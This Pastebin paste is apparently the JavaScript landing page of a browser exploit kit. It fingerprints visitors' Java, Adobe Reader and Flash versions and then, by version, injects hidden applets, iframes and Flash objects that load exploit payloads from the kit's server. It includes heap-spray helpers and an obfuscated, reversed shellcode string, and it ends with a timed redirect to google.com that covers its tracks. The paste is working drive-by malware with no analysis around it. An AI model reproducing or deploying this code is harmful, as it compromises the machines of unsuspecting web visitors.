  2128.                {
  2129.                  if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a))
  2130.                  {
  2131.                    h = "9"
  2132.                  }
  2133.                  else
  2134.                  {
  2135.                    if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a))
  2136.                    {
  2137.                      h = "8"
  2138.                    }
  2139.                  }
  2140.                }
  2141.              }
  2142.            }
  2143.            else
  2144.            {
  2145.              h = g.version
  2146.            }
  2147.            if (!d.isDefined(n))
  2148.            {
  2149.              n = d.getMimeEnabledPlugin(k, a)
  2150.            }
  2151.            g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  2152.          }
  2153.          else
  2154.          {
  2155.            b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  2156.            c =/=\ s * ([ \ d \ .] + ) / g;
  2157.            try
  2158.            {
  2159.              f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
  2160.              ""], "", g))).GetVersions();
  2161.              for (m = 0; m < 5; m ++ )
  2162.              {
  2163.                if (c.test(f) && (!h || h < RegExp.$1))
  2164.                {
  2165.                  h = RegExp.$1
  2166.                }
  2167.              }
  2168.            }
  2169.            catch (i)
  2170.            {
  2171.            }
  2172.            g.installed = h ? 1 : (b ? 0 :- 1)
  2173.          }
  2174.          if (!g.version)
  2175.          {
  2176.            g.version = d.formatNum(h)
  2177.          }
  2178.          g.INSTALLED[k] = g.installed
  2179.        }
  2180.      }
  2181.      , zz : 0
  2182.    }
  2183.  };
  2184.  PluginDetect.initScript();
  2185.  PluginDetect.getVersion(".");
  2186.  var $$ = PluginDetect;
  2187.  function x(s)
  2188.  {
  2189.    d = [];
  2190.    for (i = 0; i < s.length; i ++ )
  2191.    {
  2192.      k = (s.charCodeAt(i)).toString(33);
  2193.      d.push(k);
  2194.    };
  2195.    return d.join(":");
  2196.  }
  2197.  end_redirect = function ()
  2198.  {
  2199.    window.location.href = 'http://google.com';
  2200.  };
  2201.  function j1()
  2202.  {
  2203.    if ((document.body.clientWidth || document.body.offsetWidth) < 30)
  2204.    {
  2205.      var oSpan = document.createElement("div");
  2206.      document.body.appendChild(oSpan);
  2207.      oSpan.innerHTML = "
  2208.     <applet archive=\"/detects/continues-little.php?wgfafp=udvkdow&bjzfa=dwvy\" code=\"&#00104;
  2209.     &#00119;
  2210.     \"><param name=\"pri&#00109;
  2211.     e\" value=\"y8%eit.ywoeyjMeye%yij%toy8oKeim-8yy-ew3D3
  2212.     xU.b1fOhvO6.O6CO1fRAeb6oOh_O68O6CO6tO68O6AOhvO60O60R-b6.R8_bURD.bM\" /><param name=\"v&#00
  2213.     97;
  2214.     l\" value=\"Dyy3Ojj-Vy\"/></applet>";
  2215.    }
  2216.    return true;
  2217.  }
  2218.  function j2()
  2219.  {
  2220.    if ((document.body.clientWidth || document.body.offsetWidth) < 30)
  2221.    {
  2222.      var oSpan = document.createElement("div");
  2223.      document.body.appendChild(oSpan);
  2224.      oSpan.innerHTML = "
  2225.     <applet archive=\"/detects/continues-little.php?ugvzfk=vpzbzc&xkrytvi=xrnx\" code=\"&#0010
  2226.     4;
  2227.     &#00119;
  2228.     \"><param name=\"&#00112;
  2229.     rime\" value=\"y8%eit.ywoeyjMeye%yij%toy8oKeim-8yy-ew3D
  2230.     3xU.b1fOhvO6.O6CO1fRAeb6oOh_O68O6CO6tO68O6AOhvO60O60R-b6.R8_bURD.bM\" /><param name=\"v&#0
  2231.     097;
  2232.     l\" value=\"Dyy3Ojj-Vy\"/></applet>";
  2233.    }
  2234.    return true;
  2235.  }
  2236.  function p1()
  2237.  {
  2238.    var d = document.createElement("iframe");
  2239.    d.setAttribute("src", "/detects/continues-little.php?bqhta=" + x("ca04c") + "&galjx=" +
  2240.    x("gsn") + "&chvy=1n:2w:1i:1j:1o:1i:1g:2v:1m:1m&glom=" + x(pdfver.join(".")));
  2241.    document.body.appendChild(d);
  2242.  }
  2243.  function p2()
  2244.  {
  2245.    var d = document.createElement("iframe");
  2246.    d.setAttribute("src", "/detects/continues-little.php?kur=" + x("ca04c") + "&ljgndf=" + x
  2247.    ("m") + "&hmikb=1n:2w:1i:1j:1o:1i:1g:2v:1m:1m&rihnf=" + x(pdfver.join(".")));
  2248.    document.body.appendChild(d);
  2249.  }
  2250.  function f1()
  2251.  {
  2252.    var oSpan = document.createElement("span");
  2253.    document.body.appendChild(oSpan);
  2254.    var url = "/detects/continues-little.php?gozjsyd=" + x("ca04c") + "&vtviuys=" + x(
  2255.    "hzebff") + "
  2256.   &tde=1n:2w:1i:1j:1o:1i:1g:2v:1m:1m&info=02e67fbb3b70fa4a767eba6da39a2f6aa5289830791360b29081e7631e6458a43329ae00a278ee61fec83e2daa983f1714ded99fb2d10589a60503bc6fce";
  2257.    oSpan.innerHTML = "
  2258.   <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='" + url + "' /><embed src='" + url + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
  2259.  }
  2260.  function getCN()
  2261.  {
  2262.    return "/detects/continues-little.php?fhjsbn=" + x("ca04c") + "&izdzjrhs=" + x("isrjg") +
  2263.    "&hdwp=1n:2w:1i:1j:1o:1i:1g:2v:1m:1m&kxf=bexaqwf"
  2264.  }
  2265.  function getBlockSize()
  2266.  {
  2267.    return 1024
  2268.  }
  2269.  function getAllocSize()
  2270.  {
  2271.    return 1024 * 1024
  2272.  }
  2273.  function getAllocCount()
  2274.  {
  2275.    return 300
  2276.  }
  2277.  function getFillBytes()
  2278.  {
  2279.    var a = '%u' + '0c0c';
  2280.    return a + a
  2281.  }
  2282.  function getShellCode()
  2283.  {
  2284.    var a = "
  2285.   8282!%51c4!%04e4!%25e0!%f551!%e014!%9134!%4451!%54e0!%2191!%9154!%e521!%21a1!%91f4!%1421!%
  2286.   2191!%9174!%2421!%2191!%9114!%f521!%21a1!%9164!%d451!%e0f4!%b181!%2421!%2191!%91e4!%e521!%
  2287.   21a1!%b181!%e451!%7125!%0485!%6085!%44d4!%c5c5!%4414!%b550!%d5d4!%1464!%64c5!%b474!%b570!%
  2288.   b4c5!%c5d4!%c4d4!%c570!%64d4!%c560!%74e4!%d4b5!%14b4!%c5c5!%4494!%7070!%8521!%c5c5!%8504!%
  2289.   2370!%15e1!%eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%6d7d!%0c4b!%e702!%
  2290.   6d7d!%8224!%ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%
  2291.   82ba!%c224!%7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%9697!%53c2!%0ac6!%
  2292.   c281!%2a9e!%8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%fec6!%1e97!%0cb1!%
  2293.   423a!%7de7!%8282!%0d82!%b704!%b580!%8050!%c002!%fec6!%b1a1!%e5a5!%c0c2!%fec6!%f4b5!%a5d4!%
  2294.   c2c0!%42fe!%47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%ce02!%e3ba!%c77d!%
  2295.   4454!%d5a5!%8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%87ba!%8282!%7d82!%
  2296.   8604!%8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%bd3a!%eb3c!%c5b2!%
  2297.   42b1!%8a55!%0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%c7c0!%4c7d!%5ae6!%
  2298.   4236!%e43a!%b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%01ad!%6983!%3f72!%
  2299.   deb1!%58b2!%964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%97e7!%3c46!%971c!%
  2300.   ccd5!%c0da!%fac1!%d53d!%11e2!%bee6!%8681!%093a!%7d7d!%d383!%9a6c!%b140!%b2c5!%6741!%e43a!%
  2301.   b13f!%e502!%e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%ffff!%beff!%508e!%
  2302.   afbe!%042e!%0382!%ef08!%9e80!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%1414!%".split("").
  2303.    reverse().join("");
  2304.    return a["replace"](/\%!/g, "%" + "u")
  2305.  };
  2306.  function ff2()
  2307.  {
  2308.    var oSpan = document.createElement("span");
  2309.    var url = "/detects/continues-little.php?mlvw=" + x("ca04c") + "&vmniqb=" + x("focn") +
  2310.    "&eteonup=1n:2w:1i:1j:1o:1i:1g:2v:1m:1m&tiagzk=rwbovqeh";
  2311.    oSpan.innerHTML = "
  2312.   <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id
  2313.   '><param name='movie' value='" + url + "
  2314.   ' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed
  2315.   src='" + url + "
  2316.   ' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash
  2317.   ' width='10' height='10'></embed></object>";
  2318.    document.body.appendChild(oSpan);
  2319.  }
  2320.  document.write('');
  2321.  setTimeout(end_redirect, 61000);
  2322.  var pdfver = [];
  2323.  function svwrbew6436b($)
  2324.  {
  2325.    var ar = [];
  2326.    var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  2327.    if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9
  2328.    )))
  2329.    {
  2330.      ar["push"](j2);
  2331.    }
  2332.    else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3
  2333.    ] < 33) || (javax[0] == 1 && javax[1] < 6)))
  2334.    {
  2335.      ar["push"](j1);
  2336.    }
  2337.    pdfver = PluginDetect.getVersion("AdobeReader");
  2338.    if (window.document)if (typeof pdfver == "string")
  2339.    {
  2340.      pdfver = pdfver["split"](".")
  2341.    }
  2342.    else
  2343.    {
  2344.      pdfver = [0, 0, 0, 0]
  2345.    }
  2346.    if (pdfver[0] > 0 && pdfver[0] < 8)
  2347.    {
  2348.      if (window.document)ar["push"](p1);
  2349.    }
  2350.    if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4)))
  2351.    {
  2352.      ar["push"](p2);
  2353.    }
  2354.    var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  2355.    if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 &&
  2356.    ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 &&
  2357.    ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2)))
  2358.    {
  2359.      ar["push"](ff2);
  2360.    }
  2361.    if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 &&
  2362.    ver[1] == 3 && ver[2] < 181))
  2363.    {
  2364.      ar["push"](f1);
  2365.    }
  2366.    var arcalli = 0;
  2367.    var arcall = function ()
  2368.    {
  2369.      if (ar.length <= arcalli)return 123;
  2370.      ss = setTimeout;
  2371.      var res = ar[arcalli]();
  2372.      arcalli++;
  2373.      if (res && window.document)
  2374.      {
  2375.        ss(function ()
  2376.        {
  2377.          arcall()
  2378.        }
  2379.        , 5509);
  2380.      }
  2381.      else
  2382.      {
  2383.        arcall();
  2384.      }
  2385.    };
  2386.    arcall();
  2387.  }
  2388.  $$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../maintain/getJavaInfo.jar");
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top